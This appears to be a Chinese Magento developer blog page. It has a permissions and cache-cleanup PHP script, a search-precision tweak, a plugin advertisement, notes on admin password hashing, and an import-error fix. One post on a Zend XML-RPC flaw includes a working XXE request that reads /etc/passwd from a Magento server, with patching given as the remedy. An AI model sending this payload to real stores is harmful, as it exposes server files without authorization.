Magento权限设置与缓存清理的PHP脚本

<?php

## 设置文件644,目录755
function AllDirChmod( $dir = "./", $dirModes = 0755, $fileModes = 0644 ){
   $d = new RecursiveDirectoryIterator( $dir );
   foreach( new RecursiveIteratorIterator( $d, 1 ) as $path ){
      if( $path->isDir() ) chmod( $path, $dirModes );
      else if( is_file( $path ) ) chmod( $path, $fileModes );
  }
}

## 清除指定目录
function cleandir($dir) {
    if ($handle = opendir($dir)) {
        while (false !== ($file = readdir($handle))) {
            if ($file != '.' && $file != '..' && is_file($dir.'/'.$file)) {
                if (unlink($dir.'/'.$file)) { }
                else { echo $dir . '/' . $file . ' (file) NOT deleted!<br />'; }
            }
            else if ($file != '.' && $file != '..' && is_dir($dir.'/'.$file)) {
                cleandir($dir.'/'.$file);
                if (rmdir($dir.'/'.$file)) { }
                else { echo $dir . '/' . $file . ' (directory) NOT deleted!<br />'; }
            }
        }
        closedir($handle);
    }
}

## 判断目录是否为空
function isDirEmpty($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}

echo "----------------------- CLEANUP START -------------------------<br/>";
$start = (float) array_sum(explode(' ',microtime()));
echo "<br/>*************** SETTING PERMISSIONS ***************<br/>";
echo "Setting all folder permissions to 755<br/>";
echo "Setting all file permissions to 644<br/>";
AllDirChmod( "." );
echo "Setting pear permissions to 550<br/>";
chmod("pear", 550);

echo "<br/>****************** CLEARING CACHE ******************<br/>";

if (file_exists("var/cache")) {
    echo "Clearing var/cache<br/>";
    cleandir("var/cache");
}

if (file_exists("var/session")) {
    echo "Clearing var/session<br/>";
    cleandir("var/session");
}

if (file_exists("var/minifycache")) {
    echo "Clearing var/minifycache<br/>";
    cleandir("var/minifycache");
}

if (file_exists("downloader/pearlib/cache")) {
    echo "Clearing downloader/pearlib/cache<br/>";
    cleandir("downloader/pearlib/cache");
}

if (file_exists("downloader/pearlib/download")) {
    echo "Clearing downloader/pearlib/download<br/>";
    cleandir("downloader/pearlib/download");
}

if (file_exists("downloader/pearlib/pear.ini")) {
    echo "Removing downloader/pearlib/pear.ini<br/>";
    unlink ("downloader/pearlib/pear.ini");
}

echo "<br/>************** CHECKING FOR EXTENSIONS ***********<br/>";
If (!isDirEmpty("app/code/local/")) {
    echo "-= WARNING =- Overrides or extensions exist in the app/code/local folder<br/>";
}
If (!isDirEmpty("app/code/community/")) {
    echo "-= WARNING =- Overrides or extensions exist in the app/code/community folder<br/>";
}
$end = (float) array_sum(explode(' ',microtime()));
echo "<br/>------------------- CLEANUP COMPLETED in:". sprintf("%.4f", ($end-$start))." seconds ------------------<br/>";
?>

标签: 脚本, magento

Magento搜索产品结果不精准的问题

Magento的搜索产品默认结果集是按查询的词去分词了再OR查询(具体按Catalog Search设置的查询模式)。

比如搜索“magento 产品”这词的话,结果是可能包括“magento”或者包括“产品”的结果集。

如果想要查询的结果是精准的,既准确的搜索结果为“magento 产品”,可以改下 app/code/core/Mage/CatalogSearch/Model/Resource/Fulltext.php 这文件(自己重写到local域)

在prepareResult函数里,找到"$likeCond  = '';" 下面的IF语句,整个注释掉,再在下面添加

$likeCond = '`s`.`data_index` LIKE :likew';
$bind[':likew'] = '%' . $queryText . '%';

就可以了。

具体大概看下图:

Magento搜索产品结果不精准的问题 图

P,这个修改是在Magento 1.7.0.2测试,其他版本搜索结果不准确
改法差不多一样。

Magento zend框架漏洞导致读取任意文件

官方报告:http://www.magentocommerce.com/blog/comments/important-security-update-zend-platform-vulnerability


此漏洞应用截图

 

DEMO:

POST /index.php/api/xmlrpc HTTP/1.1
Host: $host

<?xml version="1.0"?>
 <!DOCTYPE foo [  
  <!ELEMENT methodName ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<methodCall>
  <methodName>&xxe;</methodName> 
</methodCall> 

处理:

打上补丁

标签: magento, 漏洞

Magento网银在线支付插件、最新快钱支付插件

之前就有Magento的其他支付接口:

Magento首信易支付接口开发和首信易中转站建设

Magento Gspay支付中转|Gspay支付接口跳转

Ecpss/IPS/95epay/ICPay
等Magento支付插件做中转站开发。

最近因为有需求,又重新做了Magento的网银在线支付插件(www.chinabank.com.cn
),和快钱支付插件(www.99bill.com
)。

目前支持到最新的magento版本:1.4.x - 1.7.x

以前有发现网上免费的快钱支付插件和网银在线支付插件,但是安装测试都无法正常使用。

看代码,里面的表单参数都和最新官方要求的参数不一致。

所以自己也就另外开发这两个支付插件了。

需要Magento网银在线插件
Magento快钱插件
,可以联系我。

附。

网银在线信用卡支付网关V1.0 2011-11-21

快钱外卡支付网关外贸商户接口规范V1.20

Magento 管理员密码加密机制

Magento的管理员密码的加密方式

$password    = 'admin';
echo getHash($password,2);

function getRandomString($len, $chars=null)
{
    if (is_null($chars)) {
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    }
    mt_srand(10000000*(double)microtime());
    for ($i = 0, $str = '', $lc = strlen($chars)-1; $i < $len; $i++) {
        $str .= $chars[mt_rand(0, $lc)];
    }
    return $str;
}
function getHash($password, $salt=false)
{
    if (is_integer($salt)) {
        $salt = getRandomString($salt);
    }
    return $salt===false ? md5($password) : md5($salt.$password).':'.$salt;
}


根据代码,magento加密
采用md5或者md5加上额外的定义位数的字符一起加密。

解决Magento报错:Fatal error: Call to undefined method Mage_Adminhtml_Block_Abstract::getexceptions()

Magento在产品导入的时候出现错误:

“Fatal error : Call to undefined method Mage_Adminhtml_Block_Abstract::getexceptions() in \app\code\core\Mage\Adminhtml\Block\System\Convert\Profile\Run.php on line 167 ”

当前用的Magento版本Magento1.5.1。

解决办法:

找到文件“\app\code\core\Mage\Adminhtml\Block\System\Convert\Profile\Run.php

注释掉#167 - #168行
,像

// if (!is_null(parent::getExceptions()))
//    return parent::getExceptions();

注释掉#197行

//    parent::setExceptions($exceptions);

保存后重新导入Magento产品即可,报错消失。。